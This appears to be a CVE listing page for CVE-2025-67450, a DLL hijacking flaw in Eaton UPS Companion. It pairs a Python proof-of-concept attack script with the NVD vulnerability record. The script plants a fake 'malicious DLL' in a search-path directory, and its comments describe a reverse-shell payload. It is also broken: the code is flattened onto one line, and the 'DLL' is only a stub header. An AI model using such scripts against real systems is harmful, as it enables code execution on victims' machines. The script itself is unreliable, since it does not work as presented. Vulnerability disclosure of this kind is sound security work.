CVE-2025-67450

#!/usr/bin/env python3 # CVE-2025-67450 PoC - Insecure Library Loading in Eaton UPS Companion # This PoC demonstrates the DLL search order hijacking vulnerability # Author: Security Researcher # Date: 2025-12-26 import os import sys import shutil import ctypes def create_malicious_dll(dll_path): """ Create a malicious DLL that will be loaded by the vulnerable application. This DLL exports the same function name that Eaton UPS Companion expects to load. """ # Malicious DLL content - creates a reverse shell or executes payload dll_content = b'MZ' + b'\x90' * 58 + b'\x00\x00' # Minimal PE header # In real attack scenario, this would be a compiled DLL with: # - Same exported function names as legitimate DLL # - Payload code (e.g., reverse shell, command execution) # - Proper DLL entry point (DllMain) handling with open(dll_path, 'wb') as f: f.write(dll_content) print(f"[+] Malicious DLL created at: {dll_path}") return dll_path def dll_hijacking_attack(target_dll_name, target_dir): """ Perform DLL search order hijacking attack. Attackers place malicious DLL in a directory that is searched before the legitimate DLL location. """ # Common DLL search paths that may be exploited: # 1. Current working directory # 2. System directory (C:\Windows\System32) # 3. Application directory # 4. Directories in PATH environment variable malicious_dll_path = os.path.join(target_dir, target_dll_name) # Create the malicious DLL create_malicious_dll(malicious_dll_path) print(f"[+] DLL hijacking ready: {malicious_dll_path}") print("[+] When Eaton UPS Companion loads, it will execute the malicious DLL code") return malicious_dll_path def check_vulnerability(): """ Check if the system is vulnerable to CVE-2025-67450. """ # Check for Eaton UPS Companion installation possible_paths = [ r"C:\Program Files\Eaton\UPS Companion", r"C:\Program Files (x86)\Eaton\UPS Companion", os.path.expanduser("~/.eaton/upsc/") ] vulnerable = False for path in possible_paths: if os.path.exists(path): print(f"[!] Found Eaton UPS Companion at: {path}") vulnerable = True # Check if the application loads DLLs unsafely # (Requires binary analysis - shown here as conceptual check) print(f"[*] Checking for vulnerable DLL loading behavior...") if not vulnerable: print("[-] Eaton UPS Companion not found on this system") return vulnerable if __name__ == "__main__": print("=" * 60) print("CVE-2025-67450 - Eaton UPS Companion DLL Hijacking PoC") print("=" * 60) print("\n[*] Checking system vulnerability...") check_vulnerability() print("\n[*] Attack simulation (for educational purposes only):") # Simulate attack (would require actual malicious DLL in practice) target_dll = "vulnerable.dll" # Target DLL name to hijack target_directory = os.getcwd() # In real attack, use DLL search path dll_hijacking_attack(target_dll, target_directory) print("\n[!] Note: This is a conceptual PoC. Actual exploitation requires:") print(" - Proper compiled DLL with malicious payload") print(" - Placement in correct DLL search order location") print(" - Social engineering to get victim to run the application") print("\n[*] Mitigation: Update to latest Eaton UPS Companion version")

{"cve": {"id": "CVE-2025-67450", "sourceIdentifier": "[email protected]", "published": "2025-12-26T07:15:45.850", "lastModified": "2026-02-18T14:38:52.450", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to insecure library loading in the Eaton UPS Companion software executable, an attacker with access to the software package\n\n could perform arbitrary code execution . This security issue has been fixed in the latest version of EUC which is available on the Eaton download center."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eaton:ups_companion:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.0", "matchCriteriaId": "7BC00703-4C6B-4A5B-AC24-01DE7F519FCB"}]}]}], "references": [{"url": "https://www.eaton.com/content/dam/eaton/company/news-insights/cybersecurity/security-bulletins/etn-va-2025-1027.pdf", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}